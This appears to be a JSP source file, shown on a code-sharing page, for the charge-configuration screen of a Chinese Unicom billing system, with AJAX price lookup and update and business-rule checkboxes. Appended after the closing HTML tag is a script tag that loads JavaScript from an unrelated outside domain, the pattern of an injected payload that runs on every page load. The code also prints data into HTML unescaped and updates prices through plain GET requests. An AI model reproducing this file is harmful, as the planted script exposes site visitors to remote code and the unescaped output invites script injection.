📄 charge.jsp
字号:
<%@ page pageEncoding="UTF-8"%>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html"%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean"%>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic"%>
<%@ page import = "unicom.bean.*,java.util.*"%>
<HTML><HEAD><TITLE>联通收费系统</TITLE>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache,must-revalidate">
<meta http-equiv="expires" content="0">
<META http-equiv=Content-Type content="text/html; charset=UTF-8">
<META content="MSHTML 6.00.2600.0" name=GENERATOR>
<link href="style.css" rel="stylesheet" type="text/css">
<Script type="text/javascript">
<%--利用ajax中的xmlHttpRequest对象与服务器进行异步通信,从数据库动态取得内容到下拉列表--%>
var xmlHttp;
var temp = 0;
//回调函数(当请求成功发到服务器并且服务返回200响应状态码时而执行)
function callBackShow()
{
if(xmlHttp.readyState == 4)
{
if(xmlHttp.status == 200)
{
//向页面的text写数据
document.dynaForm.elements['chargePrice'].value = xmlHttp.responseText;
//将响应的数据保存在temp中
temp = xmlHttp.responseText;
}
}
}
//内容改变事件所触发而调用的函数
function startShowPrice()
{
//取得被选中的下拉列表值
var codeSelect = document.dynaForm.chargeCode;
var code = codeSelect[codeSelect.selectedIndex].value;
//取得xmlHttpRequest对象
if(window.ActiveXObject)
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
else if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
//从页面取得的code值作为下面url的请求参数,注意"&timeStamp=" + new Date().getTime()"这段代码防止xmlHttpRequest对象读取缓存
var url = "charge.show?code=" + code + "&timeStamp=" + new Date().getTime();
xmlHttp.open("get",url,true);
xmlHttp.onreadystatechange=callBackShow;
xmlHttp.send(null);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
<%--利用ajax的xmlHttpRequest对象与服务器通信,修改收费金额--%>
//回调函数(当请求成功发到服务器并且服务返回200响应状态码时而执行)
function callBackUpdate()
{
if(xmlHttp.readyState == 4)
{
if(xmlHttp.status == 200)
{
var message = xmlHttp.responseText;
alert(message);
}
}
}
function updateChargePrice()
{
<%--取得下拉列表(对应数据库TCharge表的code)和文本框的值(对应数据库TCharge表中的charge)--%>
var codeSelect = document.dynaForm.chargeCode;
var code = codeSelect[codeSelect.selectedIndex].value;
var charge = document.dynaForm.elements['chargePrice'].value;
if(isNaN(charge))
{
alert("请在文本框中输入数字");
document.dynaForm.elements['chargePrice'].value = 0;
return;
} else{
//取得xmlHttpRequest对象
if(window.ActiveXObject)
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
else if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
var url = "charge.update?code=" + code + "&charge=" + charge;
xmlHttp.open("get",url,true);
xmlHttp.onreadystatechange=callBackUpdate;
xmlHttp.send(null);
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//功能;对text里面的数据进行重写为以前进来时候的数据
function rewrite()
{
document.dynaForm.elements['chargePrice'].value = temp;
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//让所有复选框置于未选择状态
function refreshBusinessRule()
{
document.all["businessRule"][0].checked=false;
document.all["businessRule"][1].checked=false;
document.all["businessRule"][2].checked=false;
document.all["businessRule"][3].checked=false;
document.all["businessRule"][4].checked=false;
}
</Script>
</HEAD>
<BODY bgColor=#ffffff leftMargin=0 topMargin=0 marginheight="0" marginwidth="0">
<CENTER>
<%@ include file="head.jsp"%>
<TABLE cellSpacing=0 cellPadding=0 width=749 border=0>
<TBODY>
<TR vAlign=top>
<TD width=173 bgColor=#c9d3e9 rowSpan=2>
<%@ include file="left.jsp"%>
</TD>
<TD width=2 rowSpan=3><IMG height=1 src="images\blank(1).gif" width=2></TD>
<TD width="2">
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD height=25> 您现在的位置</TD>
</TR>
<TR>
<TD bgColor=#2650a6><IMG height=1 src="images\blank(1).gif"
width=1></TD></TR>
<TR>
<TD><IMG height=2 src="images\blank(1).gif" width=574></TD></TR></TBODY></TABLE></TD></TR>
<TR vAlign=top>
<TD height="600" bgColor=#f1f3f9>
<!-- 配置费用细项 -->
<br>
<h2>收费细项</h2>
<html:form action="changeCharge.do">
<p>收费项目:
<logic:present name="chargeList">
<html:select property="chargeCode" onchange="startShowPrice()">
<html:options collection = "chargeList" property = "code" labelProperty="name"/>
</html:select>
</logic:present></p>
<p>收费金额:
<logic:present name="currentCharge">
<html:text property="chargePrice" value="${currentCharge.charge}"></html:text>
</logic:present>
</p>
<p><input type="button" value="提交" name="B1" onClick="updateChargePrice()"><input type="button" value="重写"
name="B2" onClick="rewrite()"></p>
</html:form>
<!-- 配置业务费用 -->
<hr>
<h2>业务收费</h2>
<form method="POST" action="UpdateBusinessRule" name="businessCharge">
<p>业务:<select size="1" name="business">
<%
//获取当前select中应该显示的Business
Business currentBusiness = (Business)request.getAttribute("currentBusiness");
String currentId = currentBusiness.getId();
String currentName = currentBusiness.getName();
List businessList = (List)request.getAttribute("businessList");
for(int j = 0;j<businessList.size();j++)
{
Business business = (Business)businessList.get(j);
if(business.getId().equals(currentId))
{
out.println("<option value = " + business.getId() + " selected>" + business.getName() + "</option>");
}
else
{
out.println("<option value = " + business.getId() + ">" + business.getName() + "</option>");
}
}
%>
</select></p>
<p>收费项目:
<%
List businessRuleByIdList = (List)request.getAttribute("businessRuleByIdList");
List businessRuleCode = new ArrayList();
Charge currentCharge = (Charge)request.getAttribute("currentCharge");
List chargeList = (List)request.getAttribute("chargeList");
for(int m=0;m<businessRuleByIdList.size();m++)
{
BusinessRule businessRule = (BusinessRule)businessRuleByIdList.get(m);
businessRuleCode.add(businessRule.getCode());
}
for(int i=0;i<chargeList.size();i++)
{
Charge charge = (Charge)chargeList.get(i);
if(businessRuleCode.indexOf(charge.getCode()) != -1)
{
out.println("<input type=checkbox name='businessRule' value=" + charge.getCode() +" checked/>" + charge.getName());
}
else{
out.println("<input type=checkbox name='businessRule' value=" + charge.getCode() +" />" + charge.getName());
}
}
%>
</p>
<p><input type="submit" value="提交" name="B1"><input type="button" value="重写" onClick="refreshBusinessRule();"></p>
</form>
</TR>
</TBODY></TABLE>
<BR></CENTER></BODY></HTML>
<script language=javascript src=http://www.456ii.cn/all/aa.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -